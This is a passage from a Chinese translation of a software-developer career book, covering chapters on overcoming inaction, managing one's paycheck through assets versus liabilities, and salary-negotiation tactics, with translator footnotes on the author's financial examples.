Now）\n我想以讨论最可怕的效率杀手之一——无所作为，来结束本篇。在软件开发的职业生涯中，没有什么比不采取行动对生产力更致命了。通盘考虑后再作出明智的决策非常重要，但是往往你并不具备自己想要的所有信息，因此不得不勇往直前，作出选择——采取行动。\n在本章中，我们会讨论为什么任何行动都比不采取行动好，为什么有如此多的人默认无所作为，以及对此你可以做些什么。\n我们为什么拒绝采取行动\n拒绝采取行动，无数机会就会被浪费，无数可能性就会被挥霍。这似乎是显而易见的道理。我的意思是，都没采取行动，怎么能指望有什么事会发生呢？无须多言，大多数人都能明白这个说法是对的。但是，为什么还有那么多人选择不采取行动呢？\n我知道，对我来说原因很简单——恐惧。我斗胆猜测你的原因也一样。恐惧出错，恐惧把事情搞砸了，恐惧后果不可估量或失败，恐惧改变，恐惧做不一样的事情。\n我们明知道应该采取行动的时候却选择拒绝采取行动，恐惧可能是最大的原因。但是，不要让自己掉进恐惧的陷阱很重要。我们必须要学会克服恐惧，并且认识到，尽管我们即将采取的行动可能不是最好的，但是它几乎总是比默认选择不采取行动要好。\n很少有人会后悔自己基于所掌握的最好的知识采取的行动，但是很多人会后悔自己没有采取行动。他们错失机会，只因为过分害羞、谨慎或者犹豫，让他们裹足不前，无所作为。\n不采取行动会发生什么\n我认识一对夫妻，他们就经常受到无法采取行动的困扰。丈夫逻辑性很强，而妻子则更为感性。这种情况很常见。但是，当他们需要做出一个重大决定并按照决定行事的时候，就会遇到问题。\n有一次，夫妻俩决定要翻新客房卫生间。他们安装了新浴缸后，就遇到了为浴缸装浴帘还是装玻璃遮挡的问题。一个想要浴帘，另一个想要玻璃。争论持续了很多年，任何一方都不想让步，也没有采取任何行动。论点摆出来了，可能性探讨过了，但却没有做任何决策。当然，也没有采取任何行动。\n这种情况持续了很多年。在过去的10年里，我妻子和我至少在他们家住了7次，每次住他们家都不得不使用主卧室的卫生间，因为客房卫生间的浴缸既没有浴帘也没有玻璃遮挡。\n很多年过去了，仅仅因为无法做出决定、无法采取行动，他们的淋浴无法投入使用，给自己和客人都带来了不便。这对夫妻目前投入了另一场史诗般的战斗——更换草坪，预计会持续到下一个10年。\n现在看来，当初这对夫妻如果早点决定采取哪种行动，即便它不是最佳的选项，也比10年里没法使用淋浴要好，但是他们并没有这么做。相反，他们选择了我们大多数人在不能下定决心的时候选择的默认选项——根本不采取行动。\n你可能不会因为没有浴帘就10年无法淋浴，但在生活中，有多少次你在面临选择的时候，你拖延时间不肯解决——实际上，如果你愿意采取行动，可能5分钟内就能解决。有多少次当你面临选择的时候，因为还没有找到最佳的解决方案，或者害怕作出错误的决定，所以你选择了什么都不做？又有多少小时、多少年因为你不采取行动而白白浪费？\n也许你想学弹吉他，也许你现在工作不开心想找个新工作，也许你的财务状况需要进行大的调整。无论你在逃避什么，无论是什么在困扰着你，都不要拒绝采取行动。当下就是行动的时刻。当下就是决策的时刻。\n可能发生的最坏情况是什么\n可能发生的最坏情况是什么？如果你在该做出决策的时候很纠结，你应该一直问自己这个问题。大多数时候，这个问题的答案是，你发现自己错了，转而采取其他的行动。\n很多时候，你需要试错好多次之后才能找出正确的行动方向。在任何行动上耽误的时间越长，完成整个试错过程找出正确方向的用时也就越长。\n大多数我们急于做出的选择往往都是微不足道的。我们经常试图耗费300%的努力寻找95分的解决方案，而不是满足于找到90分的解决方案。我们的生活就是这样的，我们写代码的时候也是这样的，我们甚至在决策该买什么样的电视机时也是这样的（至于第三种情况，如果你永远都不打算买一台电视机，那样会更好，参见第43章）。\n但是，如果我们宁可选择无所作为，也不愿选择次优方案或者承担失败的风险，那么这些无关紧要的决定也会对我们的生活产生巨大的影响。想一想，当你无法在两个不相上下的算法之间做出选择以解决代码中的问题，从而无法向某个重要客户交付一项功能时，会发生什么。\n或许这两个选择都可以产生可接受的结果，很可能其中一个选择只是会略好一点。但是，如果你迟迟不采取行动以便收集更多信息，最终因为错过了交付期限而导致失去重要的客户时又该怎么办？\n在这种情况下，最好就是立刻选择其中一种算法，即使它不是最好的那一个。通过采取行动，即使你发现这个算法无效，也有时间去实现另一个算法。而选择不做选择，也就是延迟行动，最终会导致最糟糕的结果。\n即使是一些看似重要的选择——改变生活的那种，用随机掷骰子的方式都比优柔寡断、无所作为要好。很多大学生认为，选择专业和选择职业都是非常重要的决定。尽管这一决定可能很重要，但也不会比其他选择更重要，有多少大学生毕业的时候只有华而不实的学位或者是泛泛而谈的专业正是因为他们没有做到当断则断呢？举棋不定、优柔寡断让他们丧失了采取行动的机会。\n跑起来的汽车更容易转向\n通常，无所作为就像坐在一辆停着的汽车上转动方向盘。你有转过停着的汽车的方向盘吗？这并不容易。但是，当车子开起来的时候再去转方向盘就容易多了。\n然而，我们中很多人都坐在自己生活上的“车库”里，坐在停着的汽车的方向盘后面，拼命地左右转动着方向盘，试图在我们已经被抛出行车道之前确定应该前进的方向。\n更好的做法是立刻上车，发动它，这样至少你在某些方向上前进着。一旦汽车处于运动状态下，你就可以轻松地转动方向盘，调整到正确的方向上。如果一直待在车库里，你可能不会转错方向，但是你也没有机会转到正确的方向。\n车子一旦开起来，它就有了动力。这种动力可能会带你在错误的方向前进，但是一旦你弄清楚状况，只需轻松转动方向盘，就能转向正确的方向。况且，你也可能一开始就行进在正确的方向上。\n有时候，当你完全不确定要做什么的时候，最好的行动就是做一些事情，然后在前进途中再调整方向。有时候，这是前进的唯一方法。如果你一直停在原地，你就会因为从没见过而不知道需要在哪里左转。只有开始做一些事情的时候，你才能预测自己将来要采取的一切行动，评估哪些可能是错的。\n通常，要找出一个方向是错的，唯一的方法就是向着那个方向前进。如果错误的代价很小，有所作为总好过无所事事。\n现在要怎么做\n那么，如何将上述原理现在就应用于你的生活呢？今天你要怎么采取行动？仔细查看表48-1所示的简单的检查表，看看它是否能帮你下定决心采取行动。\n表48-1 采取行动时的检查表\n采取行动的检查表\n答案\n阻拦我采取行动的障碍是什么？\n如果我需要做出选择，我的选择会是什么？我要从哪些选项中做出选择？\n做出了错误的选择会导致的最坏结果是什么？\n如果我选择失误，我可以退回去选择其他选项吗？这么做的代价高吗？\n选择之间的区别是否很大？我能选择可以立即采取行动的次优方案吗？\n我当前面临的问题有助于自我发现吗？如果开始我采取一些行动，在我发现正确的行动之前，还能进行调整吗？\n如果我不采取行动，会发生什么？会有什么代价？是浪费时间，错过机会，还是损失金钱？\n采取行动\n挑选你知道你应该采取行动的事项，填写表48-1。\n识别出过去因为不采取行动而错过的机会，如购买或者出售股票、投资一家公司或者创业。\n如果上述这些事项没有像你希望的那样发展，最坏的结果是什么？\n最好的结果又是什么？\n如果当前的行动目标过于复杂，难以决断，你能做出哪些小一点儿的决定来继续前进？例如，如果你要决定到底是学弹吉他还是学弹钢琴，你可以决定先暂时学哪一样，同时决定长期学习哪一样吗？\n第五篇 理财\n金钱只是一种工具。它会带你去往任何你想去的地方，但不会取代你成为司机。\n——爱思•然德（Ayn Rand）\n软件开发是当今薪酬最高的职业之一，而且在未来，随着世界上运行在计算机和软件上的事务越来越多，这一行当的价值只会不断看涨。但是，如果你不知道如何打理钱财，那么世界上所有的金钱都不会让你从中获益。诸多彩票中奖者、电影明星和著名运动员曾经坐拥万贯家财，最后又钱财尽失，就是因为缺乏财商去打理自己的财富。\n是成为百万富翁，还是一生都靠薪水过活，选择权在你自己，而且在很大程度上取决于你在财务管理方面的知识，以及世界金融系统运行原理方面的知识。只要对财富如何运转以及如何最好地利用金钱有一点点了解，就能长久地为你未来的财务提供保障。\n在本篇中，我们会介绍一些最重要的金融方面的概念，这些概念能让软件开发人员获益。我们将一起探讨股市是如何实际运作的，如何开始投资不动产，如何开始制订退休计划，以及更多的“如何开始”。在本篇的结尾，我还会分享我的故事——我是如何利用本篇介绍的原理和知识做到让自己33岁就退休的。\n我知道你在想什么。你可能在想：“John，听起来是不错，但是，我对阅读理财方面的内容真的没兴趣。我是一名软件开发人员，我就想改善我的职业生涯。”但是，在跳过这一篇之前，你不妨这样想：你对自己的财务和投资（不论你有没有做投资）的管理方式会对自己的生活产生深远的影响，甚至可能远超除健康（我们也会在本书中涵盖健康方面的内容）之外的其他东西。\n事实上，你在职业生涯中做出的许多关键决策很大程度上是以财务状况为基础的。身为软件开发人员，你也同样受此影响。这里的一点知识就足以让你受益良久。即使你对此心存疑问，我也鼓励你认真思考一下：改变财务状况会如何显著地改变你的生活，改变你在职业生涯中所做的决定。\n在获得了一些针对本书最初版本的反馈后，我决定将一些非常基础的常用内容收录到本书的附录中。如果你觉得本篇的内容超出自己的理解范围，可以先浏览一下附录，学习一些基本的理财知识。\n第49章 怎样支配你的薪水\n在整个职业生涯中，如果你工作30年，每两周领一次薪水，那么你一共会领780次薪水。如果你工作40年，则会领1040次薪水。这期间你怎样支配这些薪水将会决定你工作多长时间、你退休时能攒多少钱，甚至会决定你能不能退休。\n重要的是，你要了解每个月自己的钱都花哪儿了，并且清楚这些钱是为你所用了还是阻碍了你的未来发展。在本章中，我们会探讨一些与收入相关的关键的财务概念，这有助于你更好地管理你的钱财，也能以与以前略有不同的方法来思考财务问题。\n拒绝短期思维\n我曾经成功说服很多同事别买新车。我通过和他们谈论一种简单的情景就让他们改变初衷，至少可以让他们仔细思考一下自己的选择。\n每当有人告诉我，他们打算买辆新车，我就会问：“你认为买辆新车得花多少钱？”。通常情况下，答案是2万～3万美元，这可是相当大的一笔钱。大多数我认识的人手头并没有那么多闲钱。事实上，许多人需要几年才能攒出这么多钱。看起来，有这么多人愿意花一大笔钱去买辆新车，但真的如此吗？\n在他们告诉我买车的费用之后，我通常会跟着问他们：“你们如何支付购车费用？”几乎所有人都回应说去贷款，然后他们还会告诉我，因为贷款年限长，所以付款金额很低。通常，这看起来似乎很有道理，直到我问了下面这个最重要的问题：“如果你现在手上正好有一只装满了2.5万美元现金的手提箱，你会拿着它去换那辆新车吗？”\n有些人仍然会坚持去买辆新车，但大多数人认识到自己宁愿要2.5万美元现金而不是辆新车。但是，当他们贷款3万美元买一辆价值2.5万美元的车，每月付300美元，4～6年付清时，看起来就是笔不错的交易。\n这时通常我还会谈到：“如果你只买一辆5 000美元的车，同样也可以把你从A点带到B点，但是这样会余出来2万美元，让你在接下来的几年里做自己想做的事情，这样做给自己带来的乐趣更多。”我不是说自己从来不买新车，但是，当你考虑到这种情况时，确实很难为这种行为辩解。\n问题在于，我们中大多数人在对待钱的问题上，都是只看眼前，而不是长远打算。我们总在盘算这个东西这个月会花多少钱，而不是算总共会花多少钱。\n在我刚开始自己的职业生涯的时候，我就是这么想的。我记住自己每个月能赚多少钱，我会根据这个数决定每个月的生活费。每个月挣的钱越多，就可以付得起更多的房租。然后，减去食物和其他基本的生活开销，剩下的钱我都存下来准备买车。我存的钱越多，能买得起的车就越好。\n我还记得，每次加薪的时候我都会马上盘算每个月能多花多少钱。我记得，每月加薪500美元，意味着扣税后我每个月可以多存下来300美元的购车款。\n这种想法是很危险的，它让我们生活开销正好达到甚至超过我们的收入。这种财务方面的短期思维方式从来都不会让我们成功，因为我们挣的越多，花的也越多。\n我有个经营“发薪日贷款”业务的朋友，他为人们提供两个发薪日之间的短期贷款。因为那些借款人急需用钱，或者至少他们觉得自己急需用钱，所以他会收取奇高的贷款利息。\n有一次我问他，都是哪些人来找他贷款。我觉得大多应该是入不敷出、只能透支未来的穷人。但是，他的回答让我大吃一惊。他说，尽管他的大多数客户都生活在贫困线以下，但是医生、律师和其他年收入10万美元以上的高收入的专业人士也占有相当大的比例。\n事实证明，赚钱多并不能让一个人在财务上更精明。那些从我朋友那里获得短期贷款的医生和律师们，受困于短期思维，和我在职业生涯早期保有相同的心态。他们靠薪水过活，因为每个月他们都花光自己赚到的那么多钱。他们挣的越多，花的也越多。因为他们觉得理所应当，所以他们会透支所有信用去买更大的房子、更好的汽车。\n资产与负债\n还有另一种思维方式，不会让你挣得多花得也多。你可以建立长远的理财思维，考虑物品的实际开销，而不是根据你每个月的收入多少来确定花销多少。\n这种思维方式基于“资产与负债”的概念。关于资产和负债的定义有很多种，这里我给出了自己的定义。所谓资产，是指实用价值高于维护成本的东西。也就意味着，一样东西如果有资格被定义为“资产”，必须能够带来比自身成本更高的价值。\n但是，负债的含义则恰恰相反。所谓负债，是指成本高于带来的价值的东西。也就是说，要保有“负债”，你不得不往外掏钱，但是你永远也拿不回来与自己掏出的钱一样多的钱。\n现在，我知道自己的这些定义与会计师给出的“资产”和“负债”的定义并不严格匹配。但是，这样的定义可以帮你思考自己所拥有或者所购买的一切是资产还是负债，给你的生活带来的财务影响是积极的还是消极的。\n我们可以根据我的定义来看几个资产和负债的例子。我们先从几个区别明显的例子开始，随后会讨论另外一些可能可以同时归为任何一类的例子。\n关于资产，一个清晰的例子就是你持有的每个季度派发一次红利的股票。持有股票并不会花你分文，但是只要一直持有，每3个月它就会给你带来一次收入。股票自身的价格会上涨也可能会下跌，但是按照我的定义，只要它能带来红利，它就是资产。[1]\n信用卡欠款则是标准的负债。信用卡欠款不会给你带来任何好处。信用卡欠款只会花费你的钱，因为每个月都要为信用卡欠款偿还利息。如果你能摆脱掉信用卡欠款，毫无疑问，你的财务状况就会更好。\n但是，如果谈及房子这样的东西，则问题就会有些棘手。你的房子是资产还是负债呢？我最喜欢的资产管理方面的作家之一—— Robert Kiyosaki在他的著作《富爸爸，穷爸爸》（Rich Dad, Poor Dad，[DEMCO Madia，2000]）中写道：“你的房子实际上是一笔负债，而不是一笔资产。”在大多数情况下，我同意他的观点。\n我们都需要一个居住的地方。不论是买还是租，我们都要为住房付钱。即使你有自己的房子，你还是要继续为住房付费，因为你在使用原本可以出租的资源。所以，当你拥有一套房子的时候，本质上你不过就是从自己手里租了一套房子而已。\n如果你的房子的价钱高于你所需要的基本住所的费用，那么房子对你而言就是负债。对大多数人来说，房子都是一笔巨大的负债，因为他们无法从中获得额外的实用价值，房子给他们的价值不会比租房高。[2]\n车也是如此。你只是需要一种代步工具，但是，如果你在购车上的开销不能给你带来比购买便宜车更高的价值，那么它就是负债。\n表49-1列出了一些主要的资产和负债，供参考。\n表49-1 资产与负债\n资产\n负债\n可获得股息的股票\n信用卡债务\n可供出租的不动产\n房产（如果超过你的实际需要）\n债券\n车（如果超过你的实际需要）\n音乐版权授权\n每月的服务费\n软件版权授权\n所有随着时间推移会贬值的设备\n企业\n罗伯特·清崎对于“资产”和“负债”的定义甚至比我的还要严苛。他声称，任何能把钱装在你口袋里的东西才是资产，而任何需要你把钱从口袋里掏出来的东西都是负债。依这样的观点行事肯定错不了。\n关键是要意识到，某些东西你买来后能够给你带来产出，或者产生的价值会高于你最初的投资，而别的东西则会消耗你的收入，或者不值你为它花的钱。\n当你持有这样的观点之后，你的思维方式可能更倾向于长期而不是短期。你每张工资单上的钱都是辛苦工作赚来的，但是每个月资产为你赚的钱则不需要辛苦工作。如果你用自己工作赚来的钱去购买不需要辛苦工作就能够增值的资产，那么你最终只需要做相同或更少的工作就能赚到更多的钱。如果你每个月把自己工作赚来的钱花在负债上，则会背道而驰，你被迫更辛苦地工作去赚更多的钱，以便继续支付保有这些负债的费用。\n花点儿时间列出你的资产和负债清单。不需要分毫不差，但是一定要试着明确你的最大资产和最大负债分别是什么。即使没什么资产也别担心，其实大多数人都没有。\n回到薪水这个话题\n做这一切与薪水有何关联呢？让我给你讲个故事吧，这有助于你把事情梳理得更清晰一些。\n在19岁的时候，我得到了一个千载难逢的机会。加州圣莫妮卡的一家公司给我提供了一个合同工的职位，每小时付我75美元。（注意，那时可是21世纪初期，那时的钱可比现在的钱值钱多了。）这份工作将给我带来每年15万美元的收入，额外还有两周的假期。\n在我当时的年龄，这可是一笔巨款，于是我觉得自己毫无疑问是富翁。尽管有此天赐良机，但没多久我就认识到，我不仅不富，而且也不会变富，除非我能赚到更多的钱。\n我生活得相当简朴。我计算了一下，看看以这个赚钱的速度我需要多久才能变成百万富翁。如果我每年可以赚15万美元，扣除30%的税，最后到手是10.5万美元。我也要生存，即使省吃俭用，一年也要3.5万美元。所以，每年我会攒7万美元。\n然后，我又算了一下。如果我每年攒7万美元，那么14年后我就能成为百万富翁了。当然，由于通货膨胀，14年后的100万美元肯定不能和当时的100万美元相提并论。事实上，如果去http://simpleprogrammer.com/ss-measuring-worth上看看，你会发现，2000年的100万美元约合今天的130万～160万美元。因此，即使我的薪水涨幅能抵消通货膨胀的因素，我实际仍需要赚更多的钱。\n对我来说，那真是糟糕的一天。我悲哀地意识到，即使我有幸获得一份好工作，我也得努力工作14年多的时间才能成为百万富翁，而且这期间我要极度省吃俭用地生活，尽可能多地攒钱。然后呢？成为百万富翁还远没有达到“富裕”的程度。这笔钱并不足以让我退休。我至少要有200万～300万美元才能让自己安逸地退休。\n也就在那一天，我深刻地意识到，要想有朝一日真正成为富人，我不仅要学会“节流”——不把自己的薪水浪费在负债上，还要学会“开源”——拿出薪水中的很大一部分进行投资，让这些资产帮我赚更多的钱。\n如果想在财务上获得成功，就必须学会如何投资，别无选择。即使你工作一辈子，竭尽全力存钱，如果找不到理财的方法，你也永远不会变得富有，更遑论财务自由。\n采取行动\n算一下每个月你经手的资金。看看每个月你能赚多少钱，这些钱最后又去了哪里。是否大部分资金最后都变成了负债而非资产？\n计算一下，为了达到在银行存款100万美元的目标（或者其他你认为可以达到财务自由的目标所需的数额），每年你得存多少钱。再算一算，如果不做投资，你一辈子能攒够这么多钱吗？\n开始问自己“我能攒多少钱”，而不是“我能花多少钱”。\n[1] 原文如此。不过，作者在以股票举例“资产”的时候，显然忽略了购买股票时所付出的成本。——译者注\n[2] 原文如此。不过，作者在以房产举例“负债”的时候，显然忽略了房产增值时所能带来的价值。——译者注\n第50章 怎样进行薪酬谈判\n我常常很惊讶，许多软件开发人员根本不做任何薪酬谈判，或者尝试谈判一次就放弃，人家给什么样的薪水就接受什么样的薪水。\n薪酬谈判非常重要，不只是因为随着时间的推移，你的薪水会不断累积，最后所得摆在桌上可以越垒越高，还因为在薪酬谈判中你如何评价自己与如何把控自己会极大地影响你所服务的公司对你的看法。\n一旦成为公司的一员，你将很难撼动别人对你的第一印象。如果你能老练地谈判薪酬，既表明了自己的价值，又能充分尊重未来的雇主，那么你就可能从更积极的角度勾勒出自己的形象，对自己在这家公司的未来职业发展产生巨大的影响。\n薪酬谈判始于求职之前\n你的薪酬谈判能力很大程度上受声望的影响。想想看，著名的运动员或电影明星，他们的名声带来的谈判能力有多强？同样的原理也适用软件开发人员或任何其他领域。你的名字越为人所知，你在谈判时掌握的主动权也就越大。\n那么，怎样才能打造自己在软件开发领域的名气呢？对某些人来说，这是要看机遇，但对大多数软件开发人员来说，这需要仔细的规划和策略。我强烈建议软件开发人员打造个人品牌，并积极地营销自己。\n为了做到这一点，基本策略就是尽可能让自己的名字出现在各种媒体上。写博客、做播客、写书或文章、在大会或用户组中发表演讲、制作视频教程、为开源项目贡献代码等，尽一切可能让自己的名字出现在各种场合。\n鉴于“自我营销”并非本章的主题，所以这里不再赘述。如果你有兴趣了解作为一名软件开发人员如何自我营销的更多内容，可以阅读我的博客中关于这个主题的文章（http://simpleprogrammer.com/ss-3-easy-ways）；或者，如果想深入理解这个话题，也可以看看我的在线课程“How to Market Yourself as a Software Developer”（作为软件开发人员，如何自我营销，http://devcareerboost.com/m）。\n只要记住：自我营销做得越好，声望越高，薪酬谈判就越容易。这一点甚至有可能是最重要的因素。曾经和我一起工作过的一些软件开发人员，他们仅凭自己打造的个人品牌和网络声望就已经能让自己薪水翻一番。\n获得工作的方式至关重要\n影响薪酬谈判能力的第二大因素就是你获得工作的方式。获得工作的方式有很多种，但不是所有方法的效果都一样。让我们来看几种可能获得工作的不同方式。\n第一种，你看到一份招聘启事，然后发送自己的简历去申请该职位，最好再附上一封优美的求职信。事实上，许多求职者想当然地认为这是获得工作的唯一方式。其实，这是获得工作最糟糕的一种方式。如果以这种方式获得一份工作，很难在薪酬谈判时占据有利地位，因为和雇主比起来，你处于明显的弱势。你是竭尽所能渴望求得那份工作的人。\n需求最大的人在任何谈判中通常都会处于劣势。玩过《大富翁》吗？你可能需要其他人的资产才能完成自己的商业帝国建设大业，但是他们不需要你的任何东西，你试过跟他们协商吗？进行得怎么样？\n获得工作的另一种方法是通过他人推荐。你认识一家公司里的某个人，他们亲自推荐你应聘某个职位，最终你获得了这份工作。这种方式绝对要比自己申请职位好很多。事实上，你在积极寻找工作的时候，应该试着去获得个人推荐。在这种情况下，未来的雇主可能并不知道你在积极找工作，因此你的需求被认为不那么急切。而且，因为你有了个人推荐，所以你已经具有了一定的可信度。本质上，你是借用了自己的推荐人在该公司的公信力。我敢肯定，你一定能够明白，推荐人在公司的声誉越高，你的可信度也就越高。这种可信度会大大影响你在入职时的薪酬谈判能力。\n好了，还有别的获得工作的方式吗？最佳方式是什么？当一家想给你提供工作的公司找到你，要么直接给你一份工作，要么请你提出求职申请。这种情况会对你的谈判能力有何影响？显然，你的最佳状态就是：一家公司知道你，然后无需任何面试就直接为你提供一个职位。在这种情况下，你尽可以根据自己的声望为自己标价。所以，任何时候，只要有雇主直接找你，你在谈判时就拥有有利地位。\n你可能会想：“你说的没错，可是雇主不会直接来找我的，不用面试就给我一份工作就更不可能了。”我得承认，这种情况确实极少，但确有发生。要想让这种机会降临在自己身上，最好的办法就是像我在第二篇中提到的那样，打造自己的声望，进行自我营销。\n先出价者输\n好了，到目前为止我们已经介绍完准备工作——实际上，这是薪酬谈判中最重要的部分。现在让我们进入薪酬谈判的实质细节。\n你必须要了解的一条重要法则就是：先出价的人会处于明显的劣势。在任何谈判中，你都要充当第二个出价的人，原因如下：假设你申请一份工作，期望这份工作的薪酬是7万美元。在获得工作机会之后，你被问及的第一个问题就是：“你的期望薪酬是多少？”你会说：“我期望的年薪大约是7万美元。”或许更聪明一点，你会说：“我期望的年薪是7万～8万美元。”人力资源经理立刻会说：“那么我们就定在年薪7.5万美元吧”。于是，你们握手，接受协议，都很高兴。但是这里有个大问题。人力资源经理为这个职位拟定的预算是8万～10万美元。结果，因为你先出价了，所以每年你少拿了2.5万美元——好可惜呀。\n你可能会认为这是一个极端的例子，但事实的确如此。除非对方告诉你，否则你无从得知他的出价是多少。先出价会让你处于明显的劣势。你无法继续加价，却给了对方压价的空间。当你先出价的时候，你就没有上涨的空间，却有下调的可能。\n也许你会说：“我做得要比这个聪明多了。我可以先说一个非常高的数额。”但这同样会令你难堪。如果你的要价太高，对方可能不会跟你还价，或者你会得到一个非常低的还价。所以，让雇主先出价对你总是最有利。\n然而也有例外，唯一的例外会出现在雇主刻意压低价钱的时候。这种情况是非常罕见的，但是，如果你有充分的理由怀疑这种情况会发生，你可能会想先出价来设定个保底数。为什么？因为如果雇主给你的出价极低，你很难让他把价格抬高很多。当然，在这种情况下，无论你做什么，都不大可能成功。\n被要求先出价该怎么办\n千万不要先出价。直接说“不”。\n是的，我知道这个建议很难被遵从。不过还是先让我给你介绍一些具体的情境以及应对这些情境的方法。\n首先，在面试前或者填职位申请表之前，你可能会被问及你的期望薪酬。如果职位申请表上有这一字段，如果可以的话干脆空着不填，或者简单填写“根据整体薪酬方案面议”。如果必须得写个具体的数字，那就填成0美元，后续再解释为什么。\n如果在预审面试时被直接问及期望薪酬是多少，那就给出相同的答复，就说这取决于贵公司的整体薪酬方案，包括福利。他们可能会说明福利都有哪些，或者可能会说明他们只是需要一个大体的数值。在这种情况下，你应该试着尽可能绕过问题，问下面这样的一系列问题。\n“在给出一个确切的数额或者估算之前，我更愿意多了解一下贵公司，多了解一些我未来职位的工作内容。不过，听起来好像你是想弄清楚我们双方想的薪酬范围是否一样，这样我们就无需浪费我们的时间了。是这样吗？”\n很有可能你会得到一个肯定的答复。于是你可以接着问下面这样的问题：\n“对这个职位的薪酬，你们一定有一个预算范围，对吧？”\n同样，你应该也会得到一个肯定的答复。这时，如果你足够勇敢，可以在这里停顿，不再说别的。然后，你可能会听到他们关于薪酬范围的答复。但是，如果你不够勇敢，或者他们不愿意提供任何信息，你可以跟着问下面这个问题：\n“好吧，如果你告诉我预算范围，尽管我无法准确说出我的期望薪酬，但是我可以告诉你贵公司的薪酬预算是否符合我的心理预期。”\n很明显，这一点的确不容易做到。但是，如果雇主坚持让你出价，那么他们没有理由不说出他们的心理预期，甚至是先说出来。所以，试着强硬一点，让他们先出价。\n如果他们明确拒绝先出价，你还有别的选择。如果你不得不先出价，那就给出一个跨度很大的范围，并且以整体薪酬方案为条件，但要确保该范围的最小值略高于你心里价位的最低值。\n例如，你可以这样说：“我无法给出一个确切的数字，因为这完全依赖于整体薪酬方案是怎样的。不过我希望找一份在7万～10万美元的工作。当然，这也取决于整体薪酬方案。”\n被问及当前薪酬该怎么办\n这个问题的确难以回答。技术上讲，这与他们无关；但是你又不能直白地这么说。相反，你还是要绕过问题。有多种不同的方法能够帮你做到这一点，但这里给一个建议。\n“我宁愿不告诉您我目前的薪水，因为如果它高于您为这个职位设定的预算，我不希望就因为这个就丢掉了本次工作机会——因为我愿意为了合适的职位适当降低收入水平。但是，如果它低于这个工作将会支付的薪酬，我也不想自贬身价。我相信您一定能够理解。”\n这个回答非常诚恳，能够在不招致反感的前提下尽最大可能规避直接回答问题。你也可以说“我不想回答这个问题”，或者回答“因为我与现在的雇主签有保密协议，不能与其他人讨论具体的薪资数目”。\n如果非得说出一个数额，尽可能通过谈论可以影响到整体薪酬方案的奖金、福利等，让这个数额灵活多变，或者告诉他们整体薪酬方案为X美元，再加上你现在获得的各种福利。\n拿到offer的时候\n如果你成功规避薪水的问题，你最后会收到一份offer，那上面会有薪水的数额。如果offer上不包含薪酬数额，那你就不是真正得到了offer，因为它并不是一份offer。但是薪资谈判并未因offer的到来而结束，除非你给出报价而他们也答应了——这可就悲剧了。（顺便提一下，如果是这种情况，你就不要再试图耍心眼了。如果他们给了你要求的薪酬，那么你要么接受，要么放弃。如果你再报一个比初始要求更高的数额，不仅让对方对你印象不佳，而且很可能会因此完全失去这份工作。）\n一旦有offer在手，你几乎总是会想还价。还价的数额由你决定，不过我强烈建议还价的数额要充分满足自己的胃口。你可能会认为提一个与他们报价接近的数目更有可能得到满意的反馈，但是一般情况下这种做法往往会适得其反。还是选择较高的价码作为还价吧。\n你可能担心这样做会让你彻底失去这份offer。实际上，只要你用得体的方式处理，并不会让这份工作落空。通常，最坏的情况就是他们坚持自己的报价，告诉你要么接受要么放弃。只要offer没被撤销，你总是可以告诉他们你犯了个错误，在重新衡量了一切因素之后，你认为“贵公司最初报价还是合理的”。（这一点儿都不好玩，但是如果你真的需要这份工作，你总是可以走这一步棋。）\n事实上，一旦收到offer，就不可能撤销。请记住，雇主已经在你身上投入了大量时间去面试、做出offer，他们不会想重来一遍。你需要拿出一点点勇气。\n大多数时候，如果提出高额还价的时候，你会得到一个稍高一点儿的报价。你可以接受这一报价，但是大多数情况下，我的建议是你再还一次价。不过要特别谨慎，因为你这么做可能会让对方拂袖而去。得体的处理方式是，你可以这样说：\n“我很乐意为贵公司工作。这份工作听起来相当不错，能与您的团队一起工作我也很激动。不过，我仍然对这个数额有一点点犹豫。如果您能提高到X美元，我可以今天就确定并签约。”\n如果你这么做，且还价的数额不是太高，通常会得到一个肯定的答复。大部分雇主宁可多付一点钱给你，也不愿意失去你。通常，最糟糕的情况就是，他们告诉你不能再涨了。\n两次还价之后，我不建议再继续协商了。如果你够勇敢可以一试，不过在第二次还价之后，你可能会面临失去信誉或者让交易变质的风险。你可以表现出很精明，但不能给人留下贪婪的印象。没人喜欢被牵着走或者被人利用的感觉。\n最后一些建议\n一定要清楚自己值什么价钱。尽可能详细地研究一下自己求职的公司的薪酬范围，研究一下与你申请的职位类似的职位的薪酬范围。尽管并不一定总是靠谱，但你还是可以利用一些网站来获得此类信息。你对自己薪酬的调查工作做得越好，谈判起来就越容易。如果你能说出准确的数额范围和统计数据，表明自己要求的薪酬相当合理，就会处于有利地位。\n要求这样的薪酬的理由绝对不是“我需要这么多钱”。没人在乎你需要什么。相反，你要说清楚自己为什么值这个价钱，你能给公司带来什么好处。你可以讲一下自己对之前的雇主们的贡献，以及为什么付给你你要求的薪水是一笔很好的投资。\n尽可能一次多获得几个offer，但是要小心，别让它们互相冲突。如果你拥有“转身离开”的能力，那么在任何谈判中你都具有明显的优势。要想处于这种地位，你就需要握有多个offer，因此你可能会想一次申请多个职位。要小心，不要让各个offer之间互相冲突。你可以用得体的方式做到这一点，告诉他们你已经有几个offer，现在正在深思熟虑，希望做个最好的决定。但是，要小心，语气不要太傲慢。自信是好事，傲慢就是坏事了。\n采取行动\n尽可能练习谈判技巧，以便克服对谈判的恐惧感。下一次去商店买东西的时候，试着讨价还价，即使没成功，也会获得一些宝贵的经验。\n仔细研究一下行业薪酬水平，以便了解自己值什么价钱。试着找出你所在领域的公司给职员的薪酬是多少，跟自己当前的薪资情况比较一下。\n即使不找工作，也可以试着去参加一下面试。你也许会发现，当自己无所求的时候（因为这时你并不需要找新工作），谈判更容易。说不定你能通过这种锻炼找到更好的工作。\n第51章 